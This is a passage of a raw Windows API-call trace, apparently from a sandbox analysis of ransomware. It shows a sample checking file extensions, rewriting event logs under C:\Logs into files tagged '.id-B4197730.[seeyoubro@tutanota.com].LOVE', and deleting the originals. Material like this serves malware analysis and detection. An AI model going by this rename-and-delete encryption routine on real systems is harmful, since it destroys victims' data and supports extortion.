(lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0207.477] lstrlenW (lpString=".dbf") returned 4 [0207.477] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0207.477] lstrlenW (lpString=".1cd") returned 4 [0207.477] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0207.477] lstrlenW (lpString=".jpg") returned 4 [0207.477] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.477] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.477] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39 [0207.477] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0207.477] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0207.477] CloseHandle (hObject=0x348) returned 1 [0207.477] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0207.478] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.478] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0207.478] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.478] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.478] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0207.478] GetLastError () returned 0x0 [0207.478] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.563] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.565] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.565] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x122, lpOverlapped=0x0) returned 1 [0207.565] SetEndOfFile (hFile=0x374) returned 1 [0207.610] CloseHandle (hObject=0x374) returned 1 [0207.613] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.613] SetEndOfFile (hFile=0x348) returned 1 [0207.662] CloseHandle (hObject=0x348) returned 1 [0207.662] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.663] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0207.663] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0207.663] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0207.663] lstrlenW (lpString=".doc") returned 4 [0207.663] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.663] lstrlenW (lpString=".docx") returned 5 [0207.663] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.663] lstrlenW (lpString=".pdf") returned 4 [0207.663] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.663] lstrlenW (lpString=".xls") returned 4 [0207.663] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.663] lstrlenW (lpString=".xlsx") returned 5 [0207.663] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.663] lstrlenW (lpString=".ppt") returned 4 [0207.663] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.663] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0207.663] lstrlenW (lpString=".zip") returned 4 [0207.664] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.664] lstrlenW (lpString=".rar") returned 4 [0207.664] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.664] lstrlenW (lpString=".bz2") returned 4 [0207.664] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.664] lstrlenW (lpString=".7z") returned 3 [0207.664] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0207.664] lstrlenW (lpString=".dbf") returned 4 [0207.664] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0207.664] lstrlenW (lpString=".1cd") returned 4 [0207.664] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0207.664] lstrlenW (lpString=".jpg") returned 4 [0207.664] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0207.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0207.664] lstrlenW (lpString=".doc") returned 4 [0207.664] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.664] lstrlenW (lpString=".docx") returned 5 [0207.664] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.664] lstrlenW (lpString=".pdf") returned 4 [0207.664] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.664] lstrlenW (lpString=".xls") returned 4 [0207.664] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.664] lstrlenW (lpString=".xlsx") returned 5 [0207.664] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.664] lstrlenW (lpString=".ppt") returned 4 [0207.664] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0207.664] lstrlenW (lpString=".zip") returned 4 [0207.665] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.665] lstrlenW (lpString=".rar") returned 4 [0207.665] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.665] lstrlenW (lpString=".bz2") returned 4 [0207.665] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.665] lstrlenW (lpString=".7z") returned 3 [0207.665] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.665] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0207.665] lstrlenW (lpString=".dbf") returned 4 [0207.665] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.665] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0207.665] lstrlenW (lpString=".1cd") returned 4 [0207.665] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.665] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0207.665] lstrlenW (lpString=".jpg") returned 4 [0207.665] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.665] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.665] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70 [0207.665] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0207.666] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0207.666] CloseHandle (hObject=0x348) returned 1 [0207.666] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0207.666] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.666] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0207.666] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.666] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.666] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0207.667] GetLastError () returned 0x0 [0207.667] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.683] WriteFile (in: hFile=0x380, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.685] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.685] WriteFile (in: hFile=0x380, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x160, lpOverlapped=0x0) returned 1 [0207.685] SetEndOfFile (hFile=0x380) returned 1 [0207.685] CloseHandle (hObject=0x380) returned 1 [0207.687] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.687] SetEndOfFile (hFile=0x348) returned 1 [0207.688] CloseHandle (hObject=0x348) returned 1 [0207.688] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.689] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0207.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0207.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0207.689] lstrlenW (lpString=".doc") returned 4 [0207.689] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.689] lstrlenW (lpString=".docx") returned 5 [0207.689] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.689] lstrlenW (lpString=".pdf") returned 4 [0207.689] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.689] lstrlenW (lpString=".xls") returned 4 [0207.689] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.689] lstrlenW (lpString=".xlsx") returned 5 [0207.690] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.690] lstrlenW (lpString=".ppt") returned 4 [0207.690] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0207.690] lstrlenW (lpString=".zip") returned 4 [0207.690] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.690] lstrlenW (lpString=".rar") returned 4 [0207.690] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.690] lstrlenW (lpString=".bz2") returned 4 [0207.690] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.690] lstrlenW (lpString=".7z") returned 3 [0207.690] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0207.690] lstrlenW (lpString=".dbf") returned 4 [0207.690] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0207.690] lstrlenW (lpString=".1cd") returned 4 [0207.690] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0207.690] lstrlenW (lpString=".jpg") returned 4 [0207.690] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0207.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0207.690] lstrlenW (lpString=".doc") returned 4 [0207.690] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.690] lstrlenW (lpString=".docx") returned 5 [0207.690] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.690] lstrlenW (lpString=".pdf") returned 4 [0207.690] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.690] lstrlenW (lpString=".xls") returned 4 [0207.691] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.691] lstrlenW (lpString=".xlsx") returned 5 [0207.691] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.691] lstrlenW (lpString=".ppt") returned 4 [0207.691] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0207.691] lstrlenW (lpString=".zip") returned 4 [0207.691] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.691] lstrlenW (lpString=".rar") returned 4 [0207.691] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.691] lstrlenW (lpString=".bz2") returned 4 [0207.691] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.691] lstrlenW (lpString=".7z") returned 3 [0207.691] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0207.691] lstrlenW (lpString=".dbf") returned 4 [0207.691] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0207.691] lstrlenW (lpString=".1cd") returned 4 [0207.691] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0207.691] lstrlenW (lpString=".jpg") returned 4 [0207.691] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.691] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.691] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76 [0207.691] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0207.696] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0207.696] CloseHandle (hObject=0x374) returned 1 [0207.696] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0207.696] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.697] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0207.697] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.697] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.697] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0207.697] GetLastError () returned 0x0 [0207.697] ReadFile (in: hFile=0x374, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.706] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.707] ReadFile (in: hFile=0x374, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.707] WriteFile (in: hFile=0x2f0, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x16c, lpOverlapped=0x0) returned 1 [0207.707] SetEndOfFile (hFile=0x2f0) returned 1 [0207.707] CloseHandle (hObject=0x2f0) returned 1 [0207.709] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.709] SetEndOfFile (hFile=0x374) returned 1 [0207.711] CloseHandle (hObject=0x374) returned 1 [0207.711] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.711] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0207.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0207.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0207.711] lstrlenW (lpString=".doc") returned 4 [0207.711] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.711] lstrlenW (lpString=".docx") returned 5 [0207.711] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.711] lstrlenW (lpString=".pdf") returned 4 [0207.711] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.711] lstrlenW (lpString=".xls") returned 4 [0207.711] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.711] lstrlenW (lpString=".xlsx") returned 5 [0207.711] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.711] lstrlenW (lpString=".ppt") returned 4 [0207.711] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0207.712] lstrlenW (lpString=".zip") returned 4 [0207.712] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.712] lstrlenW (lpString=".rar") returned 4 [0207.712] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.712] lstrlenW (lpString=".bz2") returned 4 [0207.712] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.712] lstrlenW (lpString=".7z") returned 3 [0207.712] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0207.712] lstrlenW (lpString=".dbf") returned 4 [0207.712] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0207.712] lstrlenW (lpString=".1cd") returned 4 [0207.712] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0207.712] lstrlenW (lpString=".jpg") returned 4 [0207.712] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0207.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0207.712] lstrlenW (lpString=".doc") returned 4 [0207.712] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.712] lstrlenW (lpString=".docx") returned 5 [0207.712] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.712] lstrlenW (lpString=".pdf") returned 4 [0207.712] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.712] lstrlenW (lpString=".xls") returned 4 [0207.712] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.712] lstrlenW (lpString=".xlsx") returned 5 [0207.712] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.712] lstrlenW (lpString=".ppt") returned 4 [0207.712] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0207.712] lstrlenW (lpString=".zip") returned 4 [0207.712] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.713] lstrlenW (lpString=".rar") returned 4 [0207.713] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.713] lstrlenW (lpString=".bz2") returned 4 [0207.713] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.713] lstrlenW (lpString=".7z") returned 3 [0207.713] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.713] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0207.713] lstrlenW (lpString=".dbf") returned 4 [0207.713] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.713] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0207.713] lstrlenW (lpString=".1cd") returned 4 [0207.713] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.713] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0207.713] lstrlenW (lpString=".jpg") returned 4 [0207.713] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.713] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.713] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42 [0207.713] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 